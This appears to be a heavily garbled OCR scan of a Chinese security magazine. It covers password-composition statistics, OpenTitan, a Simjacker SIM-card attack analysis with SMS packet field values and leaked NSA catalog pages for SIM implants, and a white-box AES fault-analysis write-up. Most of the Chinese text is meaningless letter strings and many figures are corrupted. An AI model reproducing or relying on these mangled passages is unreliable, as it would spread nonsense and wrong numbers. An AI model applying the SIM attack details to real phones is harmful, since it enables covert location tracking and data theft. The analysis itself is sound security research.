English.word lower(len = 5) || 2.08% 2.05% 3.69% 0.83% 341% 2.37% 2419 | 23.54% 29.49% 24.60% 25.88%
English_firstname(len = 5) || 1.11% 0.93% 2.23% 053% 147% 1.19% 1.24%| 18.80% 15.21% 9.20% 14.40%
English_lasmame(len > 5) || 2.16% 234% 448% 193% 3.65% 277% 2.80%| 20.16% 20.82% 15.22% 18.73%
English_fullname(len = 5) || 4.03% 4.30%  6.14% 499% 6.58% 5.07% 5.18% | 13.05% 11.35% 8.25% 10.88%
English name_any(len = 5) || 4.60% 4.65%  6.32% 520% 6.87% 5.18% 5.35%| 27.67% 26.51% 18.71% 24.30%

Pinyin.word_lower(len > 5) | 7.34% 8.56% 10.82% 10.24% 11.51% 9.92% 9.73%| 3.33% 299% 2.50% 2.94%
Pinyin_familyname(len = 5) || 1.35% 1.64% 2.34% 2.24% 247% 1.88% 1.99% | 0.05% 0.07% 0.07% 0.06%

Pinyin_fullname(len = 5) || 839% 9.87% 1291% 11.81% 13.14% 11.29% 11.24% | 4.79% 417% 3.35% 4.10%
Pinyin name_any(len = 5) || 8.56% 10.05% 13.31% 12.11% 13.46% 11.53% 11.50%| 4.80% 4.18% 3.36% 4.11%
Pinyin_place(len = 5) || 1.24% 1.27% 1.64% 1.58% 2.12% 1.48% 1.55%| 020% 0.18% 0.16% 0.18%

PW _with.a 5" -letter substring || 18.51% 19.99% 26.95% 19.38% 28.03% 21.70% 22.42% | 71.69% 75.93% 68.66% 72.09%
Date YYYY || 14.38% [2.82% 12.45% 10.06% 1691% 14.33% 1349% | 433% 430% 2.77% 380%

Date YYYYMMDD || 6.06% 542%  3.93% 394% 8.78% 6.17% 5.72% | 0.10% 0.05% 0.09% 0.08%

Date MMDD || 24.99% 19.97% 17.08% 16.406% 24.45% 22.59% 20092% | 7.53% 446% 3.59% 5.20%

Date YYMMDD ||21.29% 15.89% 12.70% 13.09% 20.67% 18.28% 16.99% | 3.24% 1.23% 1.55% 2.01%
Date_any_above || 36.61% 30.39% 26.66% 27.07% 35.30% 33.58% 31.60% | 11.33% 8.77% 0645% 8.85%

PW_with_a digit || 89.49% B88.42% 88.52% 90.76% 87.10% 89.26% 88.93% | 54.04% 064.74% 46.14% 54.97%

PW _with_a_4* -digit_substring || 81.64% 76.98% 71.90% 78.76% 78.38% B80.60% 78.04% | 24.72% 21.85% 19.33% 21.97%
PW_with_a_6" -digit_substring || 75.59% 68.32% 61.16% 70.02% 69.87% 73.10% 69.68% | 17.77% 8.48% 11.28% 12.51%
PW _with_a_8* -digit_substring || 28.04% 27.56% 26.53% 26.37% 49.73% 31.03% 31.54%| 6.88% 2.50% 3.73% 4.37%
Mobile_Phone Number(11-digit) || 2.90% 1.76% 2.63% 3.97% 3.75% 2.44% 2919%| 007% " 1% 0% . =03%
PW_with_a_11" digit_substring || 4.71% 2.09% 3.39% 5.08% 7.57% 3.35% 436% | 075% b\ & =055 %

*Each percentage (%) is counted by the rule of “left-most longest™ match and taken by dividing the corresponding password dataset size.
BAREMBEE ST FEUNENFFRENPXEEFR (2242%), —FMULE (11.24%) BF
SPFBULNHEEE., 1 410%NRXEBEE S MTFEBUELNEHERZM. — T SENER
2, TEHERFELEXLERIBIESPLIETIKF ., FE, WITHRIHETZR « zhangwei” HI
£ Rockyou ] Yahoo 1, FBRFRIBZMEZRATFRIBZIEHR, EREEBFNEKMEZFRIT.
FH9E 16.99%PERFERBREN—TANUBN B, #—PZRIAFLPEVIEECHER
BEEREFR, XEMNBBRRAESAFPNAER. I, 45 30.89%MPXAFER 4 (IEF U LN
HERSROIFRZRL, XLEFIERAPSH 3.59 1% (B8.61%), B4, B 13.49%MPEBFEZBHREA
PURIERAOES, XELRIFTBERAF (3.80%) B 3.55 15, TEIFTEeE—L5(h, EARHE LB
XHEEHMFFEIIET AR, 5190010101 F 520520, XA NFFIATEEE A, BE(ItLATEEAR
HMIEXE X (BI90 520520 Ik <“HEMR, KEMR) . UREAAESEIRITHFRI QNS
BriE, B2, BRETFERFNEBHREEZEXEENIER.

FEAEBBRE 4. 6 Ml 8 T, BEN:

1) KE 4 6 2AAMILIMERRIZH PIN BBHKE;

2) 6 M8 BEM T RENNEBKE.

EBNE, H291%NPERFRAEERHE 11 NHRFHNFENSBENBE, SRAEZEHN
39.59%, HFFRHEBE 11 I, FIME, PXEBN 1239%KTF 11, FEit, MRKEETAHE
(BN, BEERH) SEEEFERTKEDE, WA ETEHERS, 1 23.48%(=2.91%/12.39%), R&HE
SHSEEN 11 (UFNSBENE, XIBR 7 NP BB ARE RS .
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2R AH, BRAMEREMY: TRIEREAFNED

BER, AMEXABFRIRERTHEHHRNEFE—LEARTBRNEENY, MXLER YR
FHRERSSFIS IR, XEI “ YYMMDD” R, g, 111111 F1 520521 #ETF
YYMMDD”, #HIFEZWIM, B2, AREARENNAIEMERIENREENENZES TiCIZH
ESNFREEXNNFRE, HEENANBBESSESME. Am, EMNHXAINEEE (B,
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Google OpenTitan, E4ZEE£HIZRIE ZEi?

[1] Titan Silicon Root of Trust for Google Cloud. [2] Intel Platform Firmware Resilience (Intel6 PFR). [3]
Project Cerberus Architecture Overview. [4] L&, N &. BETETERBARNAEITEHRRIELS. 24
23R. 2015 Jan 19;2(5):381-9. [5] OpenTitan: Open Source Silicon Root of Trust. [6] OpenTitan Hardware De-
velopment Stages. [7][ Hardware Designs Dashboard. ]J(https://docs.opentitan.org/doc/project/hw_dashboard/)
[8] Google Is Helping Design an Open Source, Ultra-Secure Chip.

XTFBRREFABHRELZZERA
BZETafBELTEHEN, NEBMELERENRARRNAT — F& " NRERIEER
5EE. AERHEN. RENREH. KEMERIRSENFIE. REEVANZE, BHFS5H

NHZE, ENUCRE, MEMNREREFZIENLTEMRSENER.

XTFE&E
Yao Zhang, BNZETFEMREMRR, LMEL, FRUERKMIBIFZRIHCEE;: ARAO@EHE
RBBRAANEIN. EERE. AEITES.

USRS 4G

=
.TII

200


https://keystone-enclave.org/workshop-website-2018/slides/Scott_Google_Titan.pdf
https://edk2-docs.gitbooks.io/understanding-the-uefi-secure-boot-chain/looking_forward__platform_firmware_resiliency/intel_platform_firmware_resilience_intel_pfr.html
https://github.com/opencomputeproject/Project_Olympus/blob/master/Project_Cerberus/Project%20Cerberus%20Architecture%20Overview.pdf
https://github.com/lowRISC/opentitan
https://docs.opentitan.org/doc/project/hw_stages/#indicating-stages-and-making-transitions
https://docs.opentitan.org/doc/project/hw_stages/#indicating-stages-and-making-transitions
http://gerente.com/en-us/new-rss/google-is-helping-design-an-open-source-ultra-secure-chip/

- Simjacker FEARDHHRS

B BB @360 REMRFINASLEHA
SR https://www.anquanke.com/post/id/188110

151 — BE

Simjacker & ZFEE/FATTHI WIB REEFSE T &5 SIM FREMNXKE, MK SIM FEARZHK
AR GEMRITEN, EEED, STSIM5IZIHBNERE; MELD, ZET SIM, USIM,
S@T Browser FN A, AJMUSFH. MERE, LIEFMINGE. Simjacker EFAEDIZERKITH
SIM £ S@T Browser S FATH B AR ETMRERX T 2R EHE R, LI BRTREMFR
Hi. BERHES, BIVKI Simjacker WIXEHFIEHIEFA, FINTEBENER,

152 Z,. BEEE

2019 &£ 9 B 12 H, AdaptiveMobile Security 2% 7 —F%+%J SIM & S@T Browser 2 E A
Simjacker, WHEFERAEBFNRETHRGENEEFEIFIZEEMUER, BERK.

Sends Data
Simjacker Hessage
Attack containing
SHS Cell-10

[ehoa localii=]

Attacker

Accomplice
Device

Device

Victims
Device

IR #E AdaptiveMobile Security £ 2019 &£ 10 B 3 H/AAI2 K Simjacker &2 WA E AT I,
BRI ZRERIMA SIM REBEERER T =M,
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REWMR Simjacker BEAR RS

g

153 =, BGERHE

#& AdaptiveMobile Security #R: “The issue is that in affected operators, the SIM cards do not check the origin
of messages that use the S@T Browser, and SIMs allow data download via SMS.”

Simjacker Attack Message is sent from
Attacker to Victim

Attacker Hondset Victim Handset

B G—— gl —B ) )
L ! té

. a

/

Data Message containing exfiltirated
information is sent from Victimto
Attacker.

SMSC

15.3.1 1. &—
SIM RAEE(FR S@T Browser FIFREAIREE NI
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15.3.2

15.3.3

B Simjacker IR SITIRE

GSM B, SIM FREGFMERNAS. UMTS IR, SIM SN RETEMN: SIM {ISEHAED
7, TREHERDFRH UICC, UMTS 5|\ USIM N RRMHN@ENENGE, A TLEM., 5 USIM
RZFAZEM, Simjacker KA S@T Browser th A2 UICC FAIEZNAZ—,

B L, 5 S@T Browser HIZERHHE S@T Gateway, GEBEHEZERIZH, —HFEBEEHE
ERE; XEfrt, RAEEFNSEHAIUNSH@S—NSIBKIE S@T Browser HHXE(E, HIZE
AT EDRETIRE, BRIKBOGERMUFEARTIE, BEAERRIT, KEEENSEENE
EREEN, EBAZEEMSEBNENEH, AKENLEREEEEARERRM; I, SIM
TR LUEREREENESBARNXERIE.

B2, Simjacker HEFBHEMNE—THKMEE: BEBM SIM RATIES S@T Browser 1HXAIZE
{5, fRIE Payload B BAiX3A B 4% Application: S@T Browser.

2. 4=
SIM K AT B R (G T EEE;

USIM Application Toolkit (USAT) & UICC FHISEN AS/MRREITHNE, BEARREMHIEE
ARSS, WEHARYFAIRIT. HFNASFH ME R E{ER Proactive Commands ] Event Download PR
ezl

“A proactive command is a command from the SIM application to the handset asking it to do something on
your behalf. It is called proactive because, uncharacteristically, the SIM is initiating the communication.”[7]
Proactive Commands 238N <“Ea)” KNS FNREMNGS, BE 2001 FK, B 31, HPE
1& DISPLAY TEXT, PROVIDE LOCAL INFORMATION(R] LAEFMNE R HFIFTA/NX Cell ID) &, 8
kA8 F APDU(Application Protocol Data Unit) B95EEE, FA| ME kAR APDU G <BI&#E 5, UICC
Application s LHIMIRN 75, REEE ME @HEH &1XE 8B APDU sp LB 7 88 <“EBI & IX Proactive
Commands,

RNTBRXNDAE, “The SIM can register for events that it wants to be told about. It uses the SET UP
EVENT LIST proactive command to do this.”[7] “One of the most useful event downloads is SMS-PP. It is a
way of communicating directly with the SIM using SMS.’[7]

SMS-PP Event Download Bl SMS-PP [Data] Download, FALULZEI SMS-PP £EINIEEE, ZEHHE
g, RIEHERKIELR UICC EMEA Application, HELMBIBEAS, ELEHERFZERME.
5 SMS Peer to Peer(SMS-PP) X4 iz 2 SMS Cell Broadcast(SMS-CB), BIEBIEES1EHE &KiZMNE
BENTH, EERBIZERMNEEF /0 SMS center (SMSC) 7 BE#R{F.

Simjacker WiEH, FE SIM £323#F STK #nHHRY Event Download, XM EE & ZSHIENE
{E A LAIF! 4% SMS-PP Event Download, AMT4§ Payload {£1%48 S@T Browser eI EM FE R T .

3. REBRS
ZIlt, Simjacker I EREMBEBTE T :
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REWMR Simjacker BEAR RS

S with SET Browser
m M;bacvf-- Il Worlohils _--\-\.\;\ i

! / Card RS S arral | o el el Ak e ss

; | EXECUTE 30K COMMAND : PR CHAD PROVIDE |COCAL IMFCRMATION - . E

i L LizeC e b ra o -
jriceiill) | ceau-m
- Hlﬂ'l.l“: i Cmn "If;:r l.hl.:- H—'\.Mq |-:.:|:'A| H'- rl\'};\.;.ll e =
' Bamrrrsal bndcwrralion & H
b el ] .
Fi | i virots
i il Bifs. {5, 0000

b b TCrnCATENATE
T A @@
\ .| EXBCURE STE COMMAND: PRI CII) SN SHORT IAESSAGT *L_-' ﬁ?& " E-!-
.\ =] Foyiood = {§) E N e

I WEEERAEBF USIM ¥, @KEBRAKRE SMS-PP £BRIEE, BBRMMAR UICC £RY
S@T Browser;

2. WHEHKEI SMS-PP £BIFE(Ef5, SMS-PP Event Download Bt &, FHISEEEEAE
43 UICC £HY S@T Browser NZFH;

3. 5 Proactive Commands FEJIEZ L LM, S@T Browser 2152 Ma< (Byte Codes), BILA
SRENFAN AKX Cell ID S ERARIERIE.

15.4 P4, Payload #3i&

Simjacker K {EAREES BAIA B RENEERANABTEHARE, ERATTHEAZE, ERAELN
R ESNFN, B TABMAIUREIMIERE, HBEEMIUNTEFRR,

IGPP TS 29.002 GSM MAP MO-FSM/MT-FSM

SMS-SUBMIT/SMS-DELIVER

Other fields™®
AGPP TS 23.040 — . .

Multiple Other Protocol Identifier Data Coding Multiple  User Data

Filety Schame other figlds
TP-UDH | 5M
User Data Header Command Packet

Command Header jexdudeg Gprisal BLACTTS)
IGPPTS 31.115

sl | Kie KD | TAR CNTR | PCNTR | Secured Data
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3GPP TS 23.040 BN R HAAY GSM 03.40, FIE 7 EEH11H BFERNEEEANNRERESI ., 3GPP
TS 31.115 ENEHAAY GSM 03.48, MIFIE T Command Packet XFMEFRE VRS, ZLX B EMNES
S@T Browser N FABEINS AR, TERX SIM F#H{TInEE B OTA BRIERIMER,

15.4.1 1. 5858
GSM 03.40 FERLE T GSM W& T2 {EEH TN SM-TP Hf TPDU BI#& =X, BE H(TH A TPDU

FKEBFMM: SMS-SUBMIT ] SMS-DELIVER, F | MS & £5 SC(Mobile Switching Centre ) HY 2

SMS-SUBMIT, SC &%5 MS 92 SMS-DELIVER,
SMS-SUBMIT 2584 TPDU @ E{ERINFERWN T :

FER BN KE #iE

TP- Message Type 2bits SMS-SUBMIT 01

MTI Indicator

TP- Reject Duplicates 1 bit Setto 0

RD

TP- Validity Period Format 2 bits Set to 00(not present)

VPF

TP- Status Report Request 1 bit Setto 0

SRR

TP- User Data Header 1 bit Set to 1(GSM 03.48)

UDHI Indicator

TP- Reply Path 1 bit Setto 0

RP

TP- Message Reference 1 octet Set to 0x00

MR

TP- Destination Address 2-12 octets Phone number(including country code) length after

DA 0x91: loctet 0x91Phone number(OxF as padding to
get even)Example: 0x0D91688113325476F8

TP- Protocol Identifier 1 octet Set to Ox7F(USIM Data download)

PID

TP- Data Coding Scheme 1 octet Set to OxF6 Character Set 8bit dataClass 2

DCS (SIM/USIM-specific)

TP- User Data Length 1 octet Number of octets in TP-UD

UDL

TP- User Data given by

UD TP-UDL
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15.4.2

ZEWR

Simjacker BAR IR

2.Command Packet

GSM REE RS SIM EHAISERIET GSM 03.48 thiXEEMEZENEIERR, RiZAENAE
BRYLER7I0 Security Header(Command Header) [515 2582 #Y (Secured) Command Packet. &I 5 1R1E

Command Header FIEYIERARE 2B &% (Secured) Response Packet.

Command Packel

UDH /

_—b ‘

Command Header

. N

UDHL] IEla | IEDLa] CPL | CHL | SPI
(M MM @fmyi

Kic
(1)

KID | TAR
(1) (3

CNTR |PCNTR|RC/CCIDS| Secured Data
(5) : <t [(C.Ao0rS)

SMS-PP @& T GSM 03.48 I —FFAIEE, NIEEBMLEHF UICC LAY Application Z [E]#Y
BISIRML2(EE, SMS-PP ERFYEE(S UDHL H 0x02, IEIa Jg 0x70(KR3%), 5 0x71(3%UQ), IEDLa
9 0x00, [SEIMIFERN SMS-PP EBHNATHAR.

SMS-PP £ GSM 03.48 Command Packet FERU1 T :

FER B KE ipid
UDHL User Data Header Length 1 octet Set to 0x02
IEIa  Information Element Identifier a 1 octet Set to 0x70 CPI(Command Packet
Indicator)
IEDLa Information Element Identifier Data 1 octet Set to 0x00
Length a
CPL  Command Packet Length 2 octets Number of octets after
CHL Command Header Length 1 octet Number of octets till RC/CC/DS
SPI Security Parameter Indicator 2 octets MSL
KIC  Ciphering Key Identifier 1 octet
KID  Key Identifier 1 octet
TAR  Toolkit Application Reference 3 octets
CNTR Counter 5 octets
PCNTRPadding Counter 1 octet Number of padding octets used for
ciphering at the end of the secured data
RC/CC/R8dundancy Check / Cryptographic 0/4/8
Checksum / Digital Signature octet(s)
SD Secured Data CPL -
CHL -1

1)SPI

SMS-PP Command Packet RLEER K BIFE 2 —2& SPI, KE 2 FT, SXWT:
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B Simjacker ARSI IRES

First Byte:

SIM Alliance f£ Security guidelines for S@T Push [13] HFffi% B Minimum Security Level( MSL) £
SPI 95— PN F IR E, Cryptographic Checksum(10) + Encryption(1) #J MSL = 0x06, El 0000 0110;

Cryptographic Checksum(10) + Encryption(1) + Anti-replay Counter(10) fJ MSL = 0x16, El 0001 0110,
Second Byie:

|‘:~" bE |b5 b4 I':-s b2 |bl

Bit 6 %5 1 R BRI EIEE/E, £/ SMS-SUBMIT A= & &#) SMS-DELIVER-REPORT &
1% Response,

2)TAR

SIM toolkit applet B TAR <E R 3 DNFFI, ETSITS 101 220 J§EE X applet 9 AID #9ZE 13, 14
15 PDFWH,

R IE AT, S@T Browser XJ M f TAR & 0x505348(3%F K. ¢ 74 8°PSH’) F1 0x534054(3F R F 75
$BseT),
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15.4.3 3.Response Packet

SMS-PP ZHUHJ GSM 03.48 Response Packet ZRERUN T :

FER B KE &

UDHL User Data Header Length 1 octet  Set to 0x02

IEla Information Element Identifier a 1 octet Set to 0x71 RPI(Response Packet

Indicator)
IEDLa Information Element Identifier Data 1 octet  Set to 0x00
Length a

RPL Response Packet Length 2 Number of octets following
octets

RHL Response Header Length 1 octet Number of octets till RC/CC/DS

TAR Toolkit Application Reference 3 The same as Command Packet
octets

CNTR Counter 5
octets

PCNTR Padding Counter 1 octet

RSC Response Status Code 1 octet

Integrity RC/CC/DS Optional

Value

Data Optional

155 F. SIM Browsers

AERFI ZERZE, FHLRTITERIE, REEZINIEMEXNARSS, WFIRIT, WAP LN
F, HHCERERRM. £ SIM FELRRNART RFININENEEANLZ—, XENARIZER
R, BT OTA IZFELERFAF SIM £, —EIZERIAN OTA RENANNERE, FTREMT
SIM Browser, WFAMBAFH SIM €52 7T IZ2EERS 23 L, SIM K LY Browser &SI
PC RN IZR, RATRBTRS FELNEUE, MEES/Er AREREN. 2.

“As of mid 2001, there are three SIM microbrowsers: the original one from Across Wireless (now called
Sonera Smarttrust), one originally developed by Gemplus and marketed by all the SIM card manufacturers
under the umbrella of the SIMalliance, and another one called the USAT Interpreter that was wending its way
through the 3GPP standardization process.”[7]

Simjacker ILEF FEY S@T Browser & £ iR =FH Browser Z—, i WIB X [10] MF) A SmartTrust
F 589 Wireless Internet Browser(WIB).
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15.5.1

15.5.2

15.5.3

15.6

B Simjacker IR SITIRE

1.SmariTrust Wireless Internet Browser

TAR {E: 0x000001, 0x000002
EFifm: Wireless Internet Browser(WIB)
ARZ523: Wireless Internet Gateway(WIG)
“All messages have a GSM 03.48 security header.”’[8] “The GSM 03.48 Proof of Receipt (PoR) mechanism
is not used.”[8] “By default, if the WIB receives a message with a TAR value of 1, then it came from the WIG

server (pull); if it receives a message with a TAR value of 2, then it came from the WIG client (push).”[7]

2.SIM Alliance S@T Browser
TAR 1E: 0x534054, 0x505348
EZFig: S@T Browser
fR523: S@T Gateway
S@T Browser &I A FCHIEIRFRAN Pull, S@T Gateway £ A FCHIIEIZRFRA Push, Simjacker I
FEERERELIZEFTNFRIE S@T Browser B MSL %5 0x00, BIZE&ZBH IR, WEHEEM S@T
Gateway HI 53 @ B4R UICC #Y S@T Browser &1% Byte Codes, AEIIRFZEN . RIEXFEEFEMN,

3.3GPP USAT Interpreter
“The 3GPP USAT Interpreter originally was supposed to be a merge of the Across Wireless microbrowser and
the SIMalliance microbrowser but it has found a voice of its own in the process. It’s not too far from the truth

to say that it combines some of the best features of its two parents.”[7]

7. NSAEXIR

£ Simjacker Z B, AZ SIM FIZRRKHHNEERENRFKBEEERZE/F NSA IET Tailored Access
Operations (TAO) ¢H4Htt BRI FR T B: MONKEYCALENDAR #1 GOPHERSET, 5 Simjacker ¥ Fg
SIM FHLZZREFIRH#HITERREAR, FMRLEFERANTREXREEZIEBR SIM KH OTA
REH, MMEEASENA R EER SN IIERRRERER.

MONKEYCALENDAR #1 GOPHERSET fft K i T AZEZEIZ{TEE RN SIM £ £, SRR
250, {BAELE Simjacker XMELHF LR, HIZDRERXZHGSHNREANEL, EHRINERS.
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TOP SECRETNCOMINTHREL TO USA, FVEY

MONKEYCALENDAR
ANT Product Data

(TSHSITREL) MONKEYCALENDAR is a software implant for GSM (Global System
for Mobile communication) subscriber identify module (SIM) cards. This implant

pulls geolocation information from a target handset and exfilirates it to a user- 10/01/08
defined phone number via short message service (SMS).

TOP SECRETHCOMINT

Hangisay with MONEEYCALENDAR MOMNKEYCALENDAR
implanted SIM issues Get Locaton injo encrypts location info
card s1arts up command to handset data
MOMKEYCALENDAR Handset MONKEYCALENDAR
sits idle waiting for retums commands handset o
i lacation inlo send enceypled data
ger
: "
MONEEYCALENDAR +
'E“::: mﬂl sl o Handset sends oul . . . .
u encrypted SMS

-]l Handse idhe

TOP SECRETRCOMINT . . . .

(UNFOUO) MONKEYCALENDAR - Operational Schematic . . . .

(TSHSI/REL) Modern SIM cards (Phase 2+) have an application program interface .' .
known as the SIM Toolkit (STK). The STK has a suite of proactive commands that

allow the SIM card to issue commands and make requests 1o the handset.
MONKEYCALENDAR uses STK commands 1o retrieve location information and o ."
exfilirate data via SMS. After the MONKEYCALENDAR file is compiled, the
program is loaded onto the SIM card using either a Universal Serial Bus (USB)
smartcard reader or via over-the-air provisioning. In both cases, keys (o the card
may be required to install the application depending on the service provider's
security configuration

Unit Cost: 50
Status: Released, not deployed.

poc: uiFouo . S32222. - oo

Derived From: NSAICSSM 1.52
Dabed: 20070108
Declasary On: 20320108

TOP SECRET/COMINTHREL TO USA, Sy
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TOP SECRETNCOMINTHREL TO USA, FVEY

GOPHERSET
ANT Product Data

(TSNSITREL) GOPHERSET is a software implant for GSM (Global System for

Mobile communication) subscriber identify module (SIM) cards. This implant pulls
Phonebook, SMS, and call log information from a target handset and exfilirates it o 10/01/08
a user-defined phone number via short message service (SM3).

GOPHERSET on
SIM
Fill 5M35 with Encrypt SMS
Data -
Decryps Trigger 1

Retrieve Send SMS .' .
Requested Info
Parse Instructions / . . . .

(UNFOUQ) GOPHERSET - Operational Schematic . . '.

(TSHSIIREL) Modermn SIM cards (Phase 24) have an application program interface . . ..
known as the SIM Toolkit (STK). The STK has a suite of proactive commands that

allow the SIM card to issue commands and make requests 10 the handset.
GOPHERSET uses 5TK commands to retrieve the requested information and to .' .
exfilirate data via SMS. After the GOPHERSET file is compiled, the program is
loaded onto the SIM card using either a Universal Serial Bus (USB) smartcard .'
reader or via over-the-air provisioning. In both cases, keys to the card may be
required to install the application depending on the service provider's security
configuration,

Unit Cost: 50
Status: (W/FOUO) Released. Has not been deployed.

poc: uirouo IR s32222 I oo

Derived From: NSAICSSM 1.52
Dabed: 20070108
Declasary On: 20320108

TOP SECRET/COMINTHREL TO USA, Sy

=ENERZAET:

1. BEAR&EZF A STK fRERRY Event Download ;

2. BASURYE BRSRERENZFI R STK 45 HY Proactive Command;;
3. #MERBEEINREE.
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15.7 €. BhfsEHE

The SIMalliance 7£”Security guidelines for S@T Push’> H1 recommends to implement security for S@T push
messages. This security can be introduced at two different levels:
1. At the network level, filtering can be implemented to intercept and block the illegitimate binary SMS
messages

2. Atthe SIM card level, the Minimum Security Level — MSL — attached to the S@T browser in push mode
can force Cryptographic Checksum + Encryption (MSL = 0x06 at least) In such cases where the replay of
legitimate messages could lead to undesirable effects, MSL with Cryptographic Checksum + Encryption
and anti- replay Counter is recommended (e.g. 0x16)

Simjacker WHEFEAIRRET ELIZERFA (U)SIM X & LAY LE Application (] S@T Browser,
Wireless Internet Browser) HJ SPIECEHIR (MSL 8 0), MR SPIEELIR, EREER TREERME
4513 GSM 03.48 FUSEAY. DN, HR, & S@T Browser, WIB iX# BRI B {EMAM Application 2 i
WEERBEY OTA JSEEE, DUR/NKEGHE,

15.8 Reference

1. https://srlabs.de/bites/rooting-sim-cards/
https://srlabs.de/bites/sim_attacks_demystified/

https://opensource.srlabs.de/projects/simtester

S

https://www.evilsocket.net/2015/07/27/how-to-use-old-gsm-protocolsencodings-know-if-a-user-is-online-
on-the-gsm-network-aka-pingsms-2-0/
https://android.googlesource.com/platform/frameworks/opt/telephony/+/tools_r22/src/java/com/android/internal/telef
https://github.com/mitshell/card

Mobile Application Development with SMS and the SIM Toolkit. Scott B. Guthery Mary J. Cronin.
https://www.slideshare.net/JulienSIMONS/wib-13

o ©® =N W

https://ginnoslab.org/2019/09/27/stattack-vulnerability-in-st-sim-browser-can-let-attackers-globally-take-

control-of-hundreds-of-millions-of-the-victim-mobile-phones-worldwide-to-make-a-phone-call-send-sms-

to-any-phone-numbers/

10. https://ginnoslab.org/2019/09/21/wibattack-vulnerability-in-wib-sim-browser-can-let-attackers-globally-take-
control-of-hundreds-of-millions-of-the-victim-mobile-phones-worldwide-to-make-a-phone-call-send-sms-
to-any-phone-numbers/

11. https://adywicaksono.wordpress.com/2008/05/21/understanding-gsm-0348/

12. http://rednaxela.net/pdu.php

13. Security guidelines for S@T Push. The SIMalliance.

14. https://simjacker.com/downloads/technicalpapers/AdaptiveMobile_Security_Simjacker_Technical_Paper.pdf

15. https://www.schneier.com/blog/archives/2014/02/monkeycalendar.html



FEFER M ADFUS KN TIERERBEETARE~aRIZABPNES RS, UAFK
HOSHRERRENE. BRSTAZEBNERDE, MEBBRNFEMESHER
ZERBFRFHTALESIRIK,

PEFAZ £ M 2 MMt (MMSRC, MOMO Security Response Center)
EFEREINRERABERLEN MM TS, MO TFIREEFEE TEIE - mA A
FERRE, Ri#fERESBEFRAMNZREE.

TETAiRAs A https://security.immomo.com/

AR IE SRR

> WERSTE > pythonFALEM =~ B2 TRMFRASELL)
> RLTEM(ABET) >HEXLIEMBRE) >ZLEREE(RA)

>TEh: JbR -
> AR ENE: sec job@:mmomo.com N\
> A %E “FERERe” ﬂﬁﬁ@.ﬁfgﬁﬂﬂﬁﬁﬁso |

W, isiide FERRA BRI B i SRS
Bl 55 9000~10000 (57) | 5000~8000-15t) -4 500~1000"(7E) | /100200 kz)/ |
—H 35 4500~5000 (5t) | |-2800~42000 (5£) | 250=500 (55) ~~ |- 50~ 100:(5e) !
hl % 900~1000 (52)f /s00%800 (£) | so~200 6ol |/ 1o~ 2005%) 4 |1




CEERGE, MIE 666 BINTZ—E8EEARTERE

fE&: backahasten

R https://www.anquanke.com/post/id/188340

EXF, HMNMABTHX Unicorn BIEMR, ATEBERAERFAFENMRLI, HMNMA
Unicorn REFKEHE— AES HE.

FIRERY CHES 2016 REFHY AES HE, XTHEIFER, EELTIRE, (BHNERFIUNER
BHE, XITHEELESE vritewp, BREFERANIARET, &2 python2 WK, FAME
FRHITSIZZE PIN, MIRZE ARMMRE APP BHEMIZINET .

FIRER Y CHES 2016 REFHY AES HE, XTHEIFER, BEELTIRE, (BHNERFTNER
BHE, XTHEELESE vriteup, BREFEANIARET, &2 python2 N, FAME
FRHITSIZZE PIN, MIRZE ARMMRE APP BHEMIZINET .

16.1 [0S, B
EHTERREZE, HNE-THRINNRERMA.

3FF AES128 i, HimEANRIBIRES N MixColumns iTE Z I, NI MixColumns it
B2 EERIRE X TR

i i

A E I M
B F J N
¢ G K O
Do H I P

RISEAMNOERES ST T E—TFT, NWBIEREMRT

X E I M
B F J N
¢ ¢ K 0
D H L P

2, BIEREMORHEN

MixColumns
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https://mp.weixin.qq.com/s?__biz=MzI2NzI2OTExNA==&mid=2247485952&idx=1&sn=af86f9c3ad810db1ee11a119e8de1d5f&chksm=ea802c95ddf7a583e8acd1be3c08cbac24bd7dcbb7f472ee69ceeae0d6105347c376cf02fcb1&token=1560489779&lang=zh_CN#rd
https://github.com/SideChannelMarvels/Deadpool/tree/master/wbs_aes_ches2016
https://github.com/SideChannelMarvels/Deadpool/tree/master/wbs_aes_ches2016
https://github.com/SideChannelMarvels/Deadpool/tree/master/wbs_aes_ches2016
https://github.com/SideChannelMarvels/Deadpool/tree/master/wbs_aes_ches2016

REWR MfSERE, MK 666 BINTZ—HIREARTGHE

AddRoundKey K9

SubBytes

ShiftRows

AddRoundKey K10
RENEEMAS T, AXBRNEIFIMNECHE-T, WRAE A NITEIRE, THEE., X

RXERIFHNESERE,
Bx/G, AddRoundKey *K*10 FRZEHIL, NMIZ2X™MEFH:
8(24 + 3B+ C + D+ Kyp) + K e
( S(A—BB—3(.'+D—K1_.-.1]—I\'”.n)

S(A+B+2C+3D+ Kuy) + Ky
S(BA+B+C+2D+ Kyy)+ Kur

MRMINEIRFIANNE, STERXMEF: EHPBW + SRTFN)
(smx +3B+C+ D+ Kyy) + K

S(X +B+2C+ 3D+ Kyz) + Ko

S(X+2B+3C+D+ Ky,) + f\'l_lji]
S(BX+B+C+2D+ Koz) + Kz

BB RH, B
O=52X+3B+C+ D+ Kyg) + Koy
O'=8S02X+3B+C+ D+ Kgyg) + Kip

ZEIE 0 0°#1T Xor ItHE:
Op+0)=8S2A+3B+C+ D+ Kgypy)+ Koo +S2X+3B+C+ D+ Kgyp) + Kigp

1851):

Og+ 0% =S(2A+3B+C + D+ Kgp) + S(2X + 24+ 244+ 3B+ C + D + Kq()

Yo =2A+3B+C+ D+ Ky
Z=A4+ X
H2TH:

Oy +0 =Sy +5(2Z+Y))

IEFT 3 MNFETHST, B3
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https://blog.quarkslab.com/differential-fault-analysis-on-white-box-aes-implementations.html
https://blog.quarkslab.com/differential-fault-analysis-on-white-box-aes-implementations.html

REWR MEERE, M 666 BINNZ—EIREABGERR

O;+0%=8Y,)+ S3Z+Y:)(1)
Y1 =3A+ B+ C+2D + Kgy3(2)
Oy + 0" = S(Y2) + S(Z+Y2)(3)
Yo =A+ B+2C+ 3D + Ky»(4)
O3 +0"13 =85(Y3) +S(Z+Y3)(5)
1”1 :A+23+SC—|—D+K9J(6)
O[] + O'{J — S(Yu) -+ S(2Z+Yu)(7)
Yo =24+ 3B+ C+ D+ Kgy(8)

M Y BEVEZERZ 0-255, @AM Y, FAILARE] Zz W— P EVETERE ., 53z WEVETERT Z/5,
AN —AH Y, ER—K, TENINEEE GF28) L)

CEBRRAR:
O = S(Yo) + Ko,
0, = S(V1) + Ky,
OE — S(YE) + KIU,E
O3 = S(Y3) + K3

WSH—A x10 (0,7,10,13) HiANE,

XAZHEIRHIES — Byte IER, BIZABIRAL, TUE—NESHAEN K10, ZIEE
SR REE, #HSE AES B,

